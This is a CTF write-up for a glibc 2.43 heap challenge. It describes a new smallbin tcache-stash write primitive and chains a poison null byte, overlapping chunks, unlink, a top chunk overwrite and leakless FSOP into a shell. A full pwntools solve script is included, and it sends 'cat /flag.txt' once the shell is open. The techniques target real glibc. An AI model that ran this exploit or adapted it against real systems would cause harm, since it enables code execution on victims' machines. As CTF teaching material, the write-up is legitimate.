/..

#CONTENT

#TOP

No description.

LMS <-     author pwn <-   category 500 <-     points 2 <-     solves hard <- difficulty

Classic heap challenge on glibc 2.43, with alloc, free, edit, and view. There are a few caveats:

#changes to malloc

The last part is checking part of how 2.43 handles tcache. In 2.43 the tcache is lazily allocated under a few conditions:

Before lazy allocation the perthread tcache will point to the read only __tcache_dummy structure in the libc, which has bin counts of 0 and effectively causes the malloc code to ignore the tcache during normal execution.

Once any of the 3 conditions above are triggered it is no longer possible to perform allocations smaller than 0x420, effectively disabling allocating from the tcache.

In 2.43 a few important things have also changed. Fastbins have been completely removed, tcache has been restructured such that overwriting mp_.tcache_max_bytes no longer indexes arbitrarily out of bounds of tcache, and all the large bin attack vectors have new security checks.

#what still works

Faking chunks still works, e.g. poison null byte with fake chunks for overlapping chunks. Chunk unlink attack still works. Top chunk overwrite still works, but it's pretty finicky.

Some less direct techniques still exist and are not blocked by mitigations. Large bin skip list behavior allows for calling unlink_chunk on any chunk with the same size.

#new "largebin" attack

The root cause of the largebin attack was that malloc has two ways of removing chunks from linked lists. The checked safe path is to use unlink_chunk, but some of the code will manipulate the fd/bk/fd_nextsize/bk_nextsize pointers directly, leading to potentially exploitable behavior. Anywhere that malloc would dereference linked list pointers twice was exploitable and this was most prevalent and triggerable in the large bin handling code. For example:

2.41 largebin attackC
   1 
   2 
   3 
   4 
   5 
   6 
   7 
	if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}

Now in 2.43 all those code paths have checks. But largebin isn't the only place where this sort of manual linked list manipulation occurs. While working on this challenge I found one other place where this sort of unchecked manipulation happens:

vulnerable malloc codeC
   1 
   2 
   3 
   4 
   5 
   6 
   7 
   8 
   9 
  10 
  11 
  12 
  13 
  14 
  15 
  16 
  17 
  18 
  19 
  20 
  21 
  22 
  23 
  24 
  25 
  26 
  27 
  28 
  29 
  30 
  31 
  32 
  33 
  34 
  35 
  36 
  37 
  38 
  39 
  40 
  41 
  42 
  43 
  44 
  45 
  46 
  47 
  48 
  49 
  50 
  51 
  if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);

if ((victim = last (bin)) != bin)
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;

if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tc_idx < mp_.tcache_small_bins)
{
mchunkptr tc_victim;

if (__glibc_unlikely (tcache_inactive ()))
tcache_init (av);

/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->num_slots[tc_idx] != 0
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != NULL)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;

tcache_put (tc_victim, tc_idx);
}
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}

Do you see the issue? Checks are only performed on the first smallbin chunk, and are completely skipped later in the code when malloc iterates over the rest of the chunks in the smallbin to move them into the tcache. Again it's the same issue: manual unchecked linked list manipulation. In this case its smallbin instead of largebin and the line we care about is this one:

smallbin attackC
   1 
   2 
   3 
   4 
   5 
   6 
   7 
   8 
   9 
  10 
  11 
  12 
  13 
  14 
  15 
  16 
  17 
  18 
  19 
  20 
	      /* While bin not empty and tcache not full, copy chunks over.  */
while (tcache->num_slots[tc_idx] != 0
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != NULL)
{

// [1] attacker controlled !!!
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;

// [2] libc address written to attacker controlled address !!!
bck->fd = bin;

tcache_put (tc_victim, tc_idx);
}
}

Instead of writing a heap address into an attacker controlled address, triggering this will write a libc address into an attacker controlled address.

#building primitives

There is a single vulnerability in the challenge. When populating the initial contents of the allocated chunk the challenge does this:

oob null byteC
   1 
   2 
   3 
void *buf = malloc(size);
size_t nbytes = read(0, buf, size);
buf[nbytes] = 0;

#overlapping chunks

Since read can return exactly size bytes, the buf[bytes] = 0 can index past the end of the malloced buffer, a classic poison null byte vulnerability. With this it is possible to build overlapping chunks in the heap (see this guide on how2heap). Most importantly it is possible to do this without triggering the tcache allocation code at all. This technique is also stable and can be reused multiple times to build multiple overlapping chunks.

Now with overlapping chunks it is possible to perform partial overwrites over the prevsize, size, fd, and bk fields of freed chunks. Our goal is to call unlink_chunk to overwrite main_arena.top with a libc address (see this guide on how2heap). The basic idea is that if there is a pointer to a heap chunk at a known address, it is possible to overwrite that pointer with &pointer - 0x18 by calling unlink_chunk on a crafted heap chunk. The pointer can then be used to overwrite itself to any address.

Normally the malloc code will never call unlink_chunk on top chunk. It will detect that a chunk is merging with top chunk and skip calling unlink_chunk. So instead we abuse large bin skip list behavior to force malloc to call unlink_chunk on an arbitrary address, in this case top chunk.

largebin skip listC
   1 
   2 
   3 
   4 
   5 
   6 
   7 
   8 
   9 
              /* Avoid removing the first entry for a size so that the skip
list does not have to be rerouted. */
if (victim != last (bin)
&& chunksize_nomask (victim)
== chunksize_nomask (victim->fd))
victim = victim->fd;

remainder_size = size - nb;
unlink_chunk (av, victim);

#top chunk overwrite

Top chunk now points to right below itself at &main_arena.top - 0x18, should be easy now right? Not quite. In order for allocations to be served from top chunk two checks must be passed:

top chunk checksC
   1 
   2 
   3 
   4 
   5 
   6 
   7 
   8 
   9 
  10 
  11 
  12 
  13 
  14 
  15 
  16 
  17 
  18 
  19 
  20 
  21 
  22 
  23 
  24 
  25 
  26 
  27 
  28 
  29 
  30 
  31 
  32 
  33 
  34 
  35 
  36 
  37 
  38 
  39 
  40 
  41 
  42 
  43 
  44 
  45 
  46 
  47 
    use_top:
/*
If large enough, split off the chunk bordering the end of memory
(held in av->top). Note that this is in accord with the best-fit
search rule. In effect, av->top is treated as larger (and thus
less well fitting) than any other available chunk since it can
be extended to be as large as necessary (up to system
limitations).

We require that av->top always exists (i.e., has size >=
MINSIZE) after initialization, so if it would otherwise be
exhausted by current request, it is replenished. (The main
reason for ensuring it exists is that we may need MINSIZE space
to put in fenceposts in sysmalloc.)
*/

victim = av->top;
size = chunksize (victim);

if (__glibc_unlikely (size > av->system_mem))
malloc_printerr ("malloc(): corrupted top size");

if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
av->top = remainder;
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);

check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}

/*
Otherwise, relay to handle system-dependent cases
*/
else
{
void *p = sysmalloc (nb, av);
if (p != NULL)
alloc_perturb (p, bytes);
return p;
}

Unfortunately pointing top chunk to &main_arena.top - 0x18 ends up giving it a size of zero. We skip the happy path of allocating from top chunk and hit sysmalloc where malloc will subsequently freak out, panic, and abort the process.

This is where our newly discovered smallbin attack comes in. All of the primitives described above can be carefully performed to avoid initializing the tcache, to preserve the malloc state so that we are able to trigger the vulnerable smallbin code. Since the code doesn't validate chunk alignment we can write the libc address in such a way that it overlaps with the memory that top chunk is interpreting as a size field, giving our fake libc top chunk a valid size.

#semi arbitrary write

Top chunk overwrite is pretty powerful. Even better in this scenario is that top chunk initially points to itself, so the first allocation will return a persistent point to &main_arena.top. Combined with the edit feature top chunk can be changed to point anywhere in the libc that has a valid size field. This isn't very difficult because the alignment of top chunk is never verified and malloc will happily interpret the upper 4 bytes of some random pointer as the size.

#exploitation

At this point we have semi arbitrary write, but still no leaks. To fully exploit this for RCE we'll take advantage of only partial writes and build a self container FSOP payload that triggers on libc exit during _IO_flush_all.

The classic FSOP technique for leakless heap challenges is to overwrite _IO_2_1_stdout_._flags and partially overwrite the last few bytes of _IO_2_1_stdout_._IO_write_base. However, in order to trigger the leak something needs to interact with _IO_2_1_stdout_. Typically this would just be puts or printf that is called during normal execution of the challenge, except in this case _IO_2_1_stdout_ is bypassed by directly calling write. The leak payload would still trigger when libc exit is called, but at that point it's too late to use the leak right?

Well... not exactly. _IO_flush_all iterates over the open libc FILE structs one by one, starting with _IO_2_1_stderr_, then _IO_2_1_stdout_, and finally _IO_2_1_stdin_. This ordering is dynamic, starting with whatever FILE _IO_list_all points to and each FILE's _chain pointer to the next file.

_IO_list_all orderingC
   1 
   2 
   3 
   4 
   5 
/* defaults to this */
FILE *_IO_list_all = &_IO_2_1_stderr_;
_IO_2_1_stderr_._chain = &_IO_2_1_stdout_;
_IO_2_1_stdout_._chain = &_IO_2_1_stdin_;
_IO_2_1_stdin_._chain = NULL;

By partially overwriting _IO_2_1_stdin_._IO_write_base and _IO_2_1_stdin_.vtable a call to read is triggered during _IO_flush_all. The read starts from our partially overwritten _IO_write_base and ends at &_IO_2_1_stdin_._shortbuf[1].

As shown in this gdb dump of struct _IO_FILE the _shortbuf field comes after the _chain field in the structure.

struct FILEC
   1 
   2 
   3 
   4 
   5 
   6 
   7 
   8 
   9 
  10 
  11 
  12 
  13 
  14 
  15 
  16 
  17 
  18 
  19 
  20 
  21 
  22 
  23 
  24 
  25 
  26 
  27 
  28 
  29 
  30 
  31 
  32 
  33 
  34 
  35 
  36 
  37 
  38 
type = struct _IO_FILE {
/* 0x0000 | 0x0004 */ int _flags;
/* XXX 4-byte hole */
/* 0x0008 | 0x0008 */ char *_IO_read_ptr;
/* 0x0010 | 0x0008 */ char *_IO_read_end;
/* 0x0018 | 0x0008 */ char *_IO_read_base;
/* 0x0020 | 0x0008 */ char *_IO_write_base;
/* 0x0028 | 0x0008 */ char *_IO_write_ptr;
/* 0x0030 | 0x0008 */ char *_IO_write_end;
/* 0x0038 | 0x0008 */ char *_IO_buf_base;
/* 0x0040 | 0x0008 */ char *_IO_buf_end;
/* 0x0048 | 0x0008 */ char *_IO_save_base;
/* 0x0050 | 0x0008 */ char *_IO_backup_base;
/* 0x0058 | 0x0008 */ char *_IO_save_end;
/* 0x0060 | 0x0008 */ struct _IO_marker *_markers;
/* 0x0068 | 0x0008 */ struct _IO_FILE *_chain;
/* 0x0070 | 0x0004 */ int _fileno;
/* 0x0074: 0x0 | 0x0004 */ int _flags2 : 24;
/* 0x0077 | 0x0001 */ char _short_backupbuf[1];
/* 0x0078 | 0x0008 */ __off_t _old_offset;
/* 0x0080 | 0x0002 */ unsigned short _cur_column;
/* 0x0082 | 0x0001 */ signed char _vtable_offset;
/* 0x0083 | 0x0001 */ char _shortbuf[1];
/* XXX 4-byte hole */
/* 0x0088 | 0x0008 */ _IO_lock_t *_lock;
/* 0x0090 | 0x0008 */ __off64_t _offset;
/* 0x0098 | 0x0008 */ struct _IO_codecvt *_codecvt;
/* 0x00a0 | 0x0008 */ struct _IO_wide_data *_wide_data;
/* 0x00a8 | 0x0008 */ struct _IO_FILE *_freeres_list;
/* 0x00b0 | 0x0008 */ void *_freeres_buf;
/* 0x00b8 | 0x0008 */ struct _IO_FILE **_prevchain;
/* 0x00c0 | 0x0004 */ int _mode;
/* 0x00c4 | 0x0004 */ int _unused3;
/* 0x00c8 | 0x0008 */ __uint64_t _total_written;
/* 0x00d0 | 0x0008 */ char _unused2[8];

/* total size (bytes): 216 */
}

So when we trigger the read we can overwrite the _chain pointer of _IO_2_1_stdin_ to further extend the FILE processing loop in _IO_flush_all. Combined with the leak that triggered on _IO_2_1_stdout_ in the previous iteration of _IO_flush_all we can write a fake file struct to trigger system("/bin/sh") and set _IO_2_1_stdin_._chain to point to this fake file.

#files

NOTE: requires 1/256 brute force.

(sorry image handling is a bit broken right now) brute forcing remote with 32 instances

./solve.pyPY
   1 
 
2
 
3
 
4
 
5
 
6
 
7
 
8
 
9
 
10
 
11
 
12
 
13
 
14
 
15
 
16
 
17
 
18
 
19
 
20
 
21
 
22
 
23
 
24
 
25
 
26
 
27
 
28
 
29
 
30
 
31
 
32
 
33
 
34
 
35
 
36
 
37
 
38
 
39
 
40
 
41
 
42
 
43
 
44
 
45
 
46
 
47
 
48
 
49
 
50
 
51
 
52
 
53
 
54
 
55
 
56
 
57
 
58
 
59
 
60
 
61
 
62
 
63
 
64
 
65
 
66
 
67
 
68
 
69
 
70
 
71
 
72
 
73
 
74
 
75
 
76
 
77
 
78
 
79
 
80
 
81
 
82
 
83
 
84
 
85
 
86
 
87
 
88
 
89
 
90
 
91
 
92
 
93
 
94
 
95
 
96
 
97
 
98
 
99
 
100
 
101
 
102
 
103
 
104
 
105
 
106
 
107
 
108
 
109
 
110
 
111
 
112
 
113
 
114
 
115
 
116
 
117
 
118
 
119
 
120
 
121
 
122
 
123
 
124
 
125
 
126
 
127
 
128
 
129
 
130
 
131
 
132
 
133
 
134
 
135
 
136
 
137
 
138
 
139
 
140
 
141
 
142
 
143
 
144
 
145
 
146
 
147
 
148
 
149
 
150
 
151
 
152
 
153
 
154
 
155
 
156
 
157
 
158
 
159
 
160
 
161
 
162
 
163
 
164
 
165
 
166
 
167
 
168
 
169
 
170
 
171
 
172
 
173
 
174
 
175
 
176
 
177
 
178
 
179
 
180
 
181
 
182
 
183
 
184
 
185
 
186
 
187
 
188
 
189
 
190
 
191
 
192
 
193
 
194
 
195
 
196
 
197
 
198
 
199
 
200
 
201
 
202
 
203
 
204
 
205
 
206
 
207
 
208
 
209
 
210
 
211
 
212
 
213
 
214
 
215
 
216
 
217
 
218
 
219
 
220
 
221
 
222
 
223
 
224
 
225
 
226
 
227
 
228
 
229
 
230
 
231
 
232
 
233
 
234
 
235
 
236
 
237
 
238
 
239
 
240
 
241
 
242
 
243
 
244
 
245
 
246
 
247
 
248
 
249
 
250
 
251
 
252
 
253
 
254
 
255
 
256
 
257
 
258
 
259
 
260
 
261
 
262
 
263
 
264
 
265
 
266
 
267
 
268
 
269
 
270
 
271
 
272
 
273
 
274
 
275
 
276
 
277
 
278
 
279
 
280
 
281
 
282
 
283
 
284
 
285
 
286
 
287
 
288
 
289
 
290
 
291
 
292
 
293
 
294
 
295
 
296
 
297
 
298
 
299
 
300
 
301
 
302
 
303
 
304
 
305
 
306
 
307
 
308
 
309
 
310
 
311
 
312
 
313
 
314
 
315
 
316
 
317
 
318
 
319
 
320
 
321
 
322
 
323
 
324
 
325
 
326
 
327
 
328
 
329
 
330
 
331
 
332
 
333
 
334
 
335
 
336
 
337
 
338
 
339
 
340
 
341
 
342
 
343
 
344
 
345
 
346
 
347
 
348
 
349
 
350
 
351
 
352
 
353
 
354
 
355
 
356
 
357
 
358
 
359
 
360
 
361
 
362
 
363
 
364
 
365
 
366
 
367
 
368
 
369
 
370
 
371
 
372
 
373
 
374
 
375
 
376
 
377
 
378
 
379
 
380
 
381
 
382
 
383
 
384
 
385
 
386
 
387
 
388
 
389
 
390
 
391
 
392
 
393
 
394
 
395
 
396
 
397
 
398
 
399
 
400
 
401
 
402
 
403
 
404
 
405
 
406
 
407
 
408
 
409
 
410
 
411
 
412
 
413
 
414
 
415
 
416
 
417
 
418
 
419
 
420
 
421
 
422
 
423
 
424
 
425
 
426
 
427
 
428
 
429
 
430
 
431
 
432
 
433
 
434
 
435
 
436
 
437
 
from pwn import *
import builtins

class config:
file: str = './patched'
libc: str = './libc.so.6'
port: int = 1339

file = None
if config.file:
file = ELF(config.file, checksec=False)
context.binary = file

libc = None
if config.libc:
libc = ELF(config.libc, checksec=False)

context.terminal = ["/usr/bin/kitty"]

def dockerd(p, api=False):
global g

if not args.LOCAL:
return

p.recv(1)

while True:
sleep(.1)
try:
pid = (
subprocess.run(
["pgrep", "-fx", "/chall/a.out"],
check=True,
capture_output=True,
encoding="utf-8",
)
.stdout.strip()
.splitlines()
)
if len(pid) == 0:
continue

log.info(f"pids: {pid}")
if len(pid) != 1:
log.error("more than one option")

pid = int(pid[0])
g = gdb.attach(
pid, gdbscript=script, exe=config.file, sysroot=f"/proc/{pid}/root/", api=api
)
if api:
g = g[1]
break
except subprocess.CalledProcessError:
log.warn("failed pgrep")

def send(after: bytes, val, line = False):
match type(val):
case builtins.int | builtins.str:
val = f"{val}".encode()
case builtins.bytes:
pass
if line: val += b"\n"
p.sendafter(after, val)

def sendline(after: bytes, val):
send(after, val, True)

def connect():
if args.REMOTE:
p = remote(args.HOST or "localhost", args.PORT or config.port)
elif args.GDB:
p = gdb.debug([config.file], gdbscript=script)
else:
p = process([config.file])
dockerd(p)
return p

script = """
brva 0x14c5
c
heapbase
libc
python
print("getting info")
heapbase = gdb.execute("p $heapbase", to_string=True).split()[2]
libcbase = gdb.execute("p $libc", to_string=True).split()[2]
print("got info")

with open("/tmp/heap-pipe", "w") as f:
f.write(heapbase + "\\n")
f.write(libcbase + "\\n")

print("wrote info")
# if (int(libcbase, 0) & 0xf000) != 0x8000:
# gdb.execute("q")
# if (int(heapbase, 0) & 0xf000) != 0x8000:
# gdb.execute("q")
end
c
# set *(int *)($heapbase+0x340) ^= 0x60
# c
heap bins
tele (($heapbase&~0xffff)+0x10000) 16
"""

buffer = True
def alloc(idx: int, size: int, data: bytes = None):
if data is None:
size -= 1
data = b"\0" * size

if buffer:
buf = b""
buf += b"1".ljust(0x20, b"\0")
buf += f"{idx}".encode().ljust(0x20, b"\0")
buf += f"{size}".encode().ljust(0x20, b"\0")
buf += data
p.sendafter(b"> ", buf)
for _ in range(3): p.recvuntil(b":")
return idx

p.sendafter(b"> ", b"1".ljust(0x20, b"\0"))
sendline(b": ", idx)
sendline(b": ", size)
send(b": ", data)
return idx

def free(idx: int):
if buffer:
p.sendafter(b"> ", b"2".ljust(0x20, b"\0") + f"{idx}".encode().ljust(0x20, b"\0"))
for _ in range(1): p.recvuntil(b": ")
return

p.sendafter(b"> ", b"2".ljust(0x20, b"\0"))
sendline(b": ", idx)

def edit(idx: int, data: bytes):
p.sendafter(b"> ", b"3".ljust(0x20, b"\0"))
sendline(b": ", idx)
send(b": ", data)

def bp():
p.sendafter(b"> ", b"4".ljust(0x20, b"\0"))

_tmp = 100
def tmp():
global _tmp
_tmp -= 1
if _tmp < 0:
log.error("overflow")
return _tmp

while True:
p = connect()
_tmp = 100

alloc(tmp(), 0x800)

if args.LOCAL:
import os
try:
os.unlink("/tmp/heap-pipe")
except FileNotFoundError:
pass
os.mkfifo("/tmp/heap-pipe")
bp()
with open("/tmp/heap-pipe", "r") as f:
heap = f.readline()
libc = f.readline()
heap = int(heap, 0)
libc = int(libc, 0)
log.info(f"{heap = :#x}")
log.info(f"{libc = :#x}")
# if (libc & 0xf000) != 0x8000:
# p.close()
# continue
# if (heap & 0xf000) != 0x8000:
# p.close()
# continue
# heap = 0x8000
# libc = 0x8000
break
else:
heap = 0x8000
libc = 0x8000
break

fd_dec = [alloc(tmp(), 0x18) for _ in range(0x18)]
bk_dec = [alloc(tmp(), 0x58) for _ in range(0x10)]

setup_large = 0x5f8
setup_large_cut = 0x5f8-0x20
setup_large_split = setup_large - setup_large_cut + 8
for i in range(0, 16, 1):
alloc(0, setup_large)
alloc(1, setup_large_split)
free(0)
alloc(0, setup_large_cut)
alloc(0, 0xff8)

alloc(0, 0xbe8)

pages = 0x20000 - (heap & 0xf000) >> 12
for _ in range(pages - 9):
alloc(0, 0xff8)

def overlapping(stop=False, align=True, target: int = None):
log.info("overlap")

initextra = 0x80
initsize = 0x438 + initextra
overflowsize = 0x428
triggersize = overflowsize + (initsize + 8)
prevsize = 0xe08-(triggersize+8)
asize = prevsize-0x10
victimsize = 0x4f8
bsize = prevsize+0x10
fakesize = (prevsize + (triggersize+8)) & ~0xff
reclaimsize = fakesize + victimsize
csize = prevsize

pages = [alloc(tmp(), 0xff8) for _ in range(3)]

alloc(0, 0x428)
a = alloc(tmp(), asize)
alloc(tmp(), 0x428)
b = alloc(tmp(), bsize)
alloc(0, 0x428)
c = alloc(tmp(), csize)
alloc(0, 0x428)

prev = alloc(tmp(), prevsize)

alloc(0, 0x38)
force = alloc(tmp(), initsize - initextra)
alloc(0, 0x38)

trigger = alloc(tmp(), overflowsize)

victim = alloc(tmp(), victimsize)
other = alloc(tmp(), 0x428)

[free(i) for i in pages]

free(a)
free(b)
free(prev)

lo = target or 0x5030

alloc(0, 0xff8)

prev2 = alloc(0, prevsize, p64(0) + p32(fakesize | 1) + b"\0")

b2 = alloc(b, bsize, b"X")
edit(b2, p16(lo))
a2 = alloc(a, asize, b"A")
free(a2)
free(victim)
free(c)

alloc(0, 0xff8)

a3 = alloc(a, asize, p64(0))

edit(a3, p64(0) + p16(lo))
victim2 = alloc(victim, victimsize)
c2 = alloc(0, csize)

free(trigger)

alloc(0, 0xff8)
alloc(trigger, overflowsize, b"\0" * (overflowsize - 8) + p64(fakesize))

free(victim2)

a = alloc(tmp(), reclaimsize - 0x440, b"B")
b = alloc(tmp(), 0x438 - 0x10, b"B")

if align:
used = (prevsize + 8) + (initsize + 8) + (overflowsize + 8) + (victimsize + 8) + (asize + 8) + (bsize + 8) + (csize + 8) + 0x3000 + 0x430 * 5
needed = 0xfff8 - used
alloc(0, needed & 0xfff)
for _ in range(needed >> 12):
alloc(0, 0xff8)

return a, b, force, initsize - initextra, other

p.sendafter(b"> ", b"99".ljust(0x20, b"\0"))
p.recvuntil(b": ")
hint = u8(p.recvn(1)) - 0x0a
libc = ((hint & 0xff) << 16) | (libc & 0xf000)
log.info(f"{libc = :#x}")
ma = libc + 0x1d9c80
if (ma & 0xffffff) != ma:
log.error("bad")
log.info(f"{ma = :#x}")

mp_tcache_max_bytes = 0x1d93b8
main_arena_top = 0x1d9c88

try:
ra2, rb2, overlap2, overlapsize2, other2 = overlapping()
ra3, rb3, overlap3, overlapsize3, other3 = overlapping(align=False)

bigsize = 0x480
big = alloc(tmp(), bigsize - 8)

ra4, rb4, overlap4, overlapsize4, other4 = overlapping(align=False, target=0xbd90 - (0x600 - bigsize))
except EOFError:
log.info("died...")
exit(0)

free(ra3)
free(rb3)

fakesize = 0x490
fakedit = alloc(tmp(), 0x578, b"O")
alloc(1, 0xd78 - 0x10, b"Y")
edit(fakedit, b"\0" * 0x540 + p64(0x21) + p64(fakesize | 1))
edit(1, b"\0" * (0x7c0 - (0x800 - fakesize)) + p64(fakesize) + p64(0x21) + p64(0) * 2 + p64(0x21) * 2)

alloc(0, 0x5f8, b"I")
free(0)

free(overlap2)
alloc(0, overlapsize2 - 0x20, b"R")

free(ra2)
alloc(0, 0x968, b"Y")

thing = alloc(tmp(), 0x548 - 0x10, b"Z")
edit(thing, p64(0) + p16(((libc + main_arena_top - 0x10 - 0x10 - 4) & 0xffff)))

free(other4)
free(rb4)
free(ra4)

alloc(0, 0xff8, b"U")

edit(0, flat({
0x500: 0x520,
0x508: 0x41,
0x548: 0x441,
0x988: 0x41,
0x9c8: 0x431,
0xdf0: 0xe00,
0xdf8: 0x500,
0xeb8: 0xf531,
0xb00: 0x490,
0xb08: 0x21,
0xb20: 0x21,
0xb28: 0x21,
}, filler=b"\0"))
free(0)

part = alloc(tmp(), 0x628, b"Z")

free(overlap4)

alloc(overlap4, 0x128, b"PPX")
edit(overlap4, b"\0" * 0xd0 + p64(0x630) + p32(0x490 + 0x50 | 1))

alloc(0, 0x18)

free(part)

def tcache_counts(counts):
c = dict()
for idx, count in counts.items():
c[idx * 2] = count
for i in range(max(counts)):
if i not in counts:
c[i * 2] = 16
return b"\0" * (0x6c0 - 0x20) + flat(c, word_size = 16)

fake_stdin_header_chunk = 0x1d9a7c
fake_stdin_vtable_chunk = 0x1d9b3c
fake_stdout_header_chunk = 0x1da714
fake_libc_file = 0x1d99a0

first = alloc(tmp(), 0x678 + 0x30, b"U")
edit(first, b"\0" * 0x6a0)
second = alloc(tmp(), 0x428, b"XXD")
free(first)
free(big)
free(overlap3)
alloc(first, 0x678, b"H")
free(second)

edit(fakedit, b"\0" * 0x540 + p64(0x21) + p64(fakesize | 1) + p16(0xc290))

[free(i) for i in fd_dec]
[free(i) for i in bk_dec]

alloc(0, 0x488, b"Z")
alloc(0, 0x7f8, b"O")

edit(0, p64(0) + p16(libc + fake_stdin_header_chunk & 0xffff))
alloc(1, 0x7f8, b"O")
edit(1, b"\0" * 0x14 + p64(0xfbad200b) + p64(0) * 3 + p16(libc + fake_libc_file & 0xffff))

edit(0, p64(0) + p16(libc + fake_stdin_vtable_chunk & 0xffff))
alloc(1, 0x7f8, b"O")
edit(1, b"\0" * 0x2c + p8(0x28))

edit(0, p64(0) + p16(libc + fake_stdout_header_chunk & 0xffff))
alloc(1, 0x7f8, b"O")
edit(1, b"\0" * 0x1c + p64(0xfbad0000 | 0x1000 | 0x800 | 2) + p64(0) * 3 + p8(0))

p.sendafter(b"> ", b"5".ljust(0x20, b"\0"))

leak = u64(p.recvn(8))
log.info(f"{leak = :#x}")
ll = ELF("./libc.so.6", checksec=False)
ll.address = leak - 0x1d98a0
log.info(f"{ll.address = :#x}")

fake_file = FileStructure(0)
fake_file.flags = u64(b' sh\x00\x00\x00\x00')
fake_file._IO_write_ptr = 1
fake_file._wide_data = ll.address + fake_libc_file - 0x10
fake_file._lock = ll.bss(0x400)
fake_file.chain = ll.sym.system
fake_file.vtable = ll.sym._IO_wfile_jumps
payload = bytes(fake_file)[:-0x10] + p64(ll.address + fake_libc_file) + bytes(fake_file)[-0x8:]
log.info(f"{len(payload) = :#x}")

payload = payload.ljust(0x100) + b"\0" * 0x68 + p64(ll.address + fake_libc_file)
p.send(payload.ljust(0x183, b"\0"))
p.sendline(b"id && uname -a && cat /flag.txt")

print("FLAG FlAg FlaG!!!")
p.interactive()
while True: pass